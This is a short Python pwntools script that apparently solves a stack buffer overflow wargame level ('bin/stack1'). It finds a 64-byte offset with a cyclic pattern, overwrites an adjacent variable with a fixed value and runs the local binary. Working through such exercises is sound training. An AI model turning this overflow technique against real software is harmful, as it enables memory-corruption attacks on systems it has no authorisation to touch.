#!/usr/bin/python

import pwn

#checking offset

#payload = pwn.cyclic(100, n=4)

#>>> pwn.cyclic_find(0x61616171)
#64

payload = ""
payload += "A"*64
payload += pwn.p32(0x61626364) #packing the content as little endian

p = pwn.process(["bin/stack1", payload])

print p.recvall()
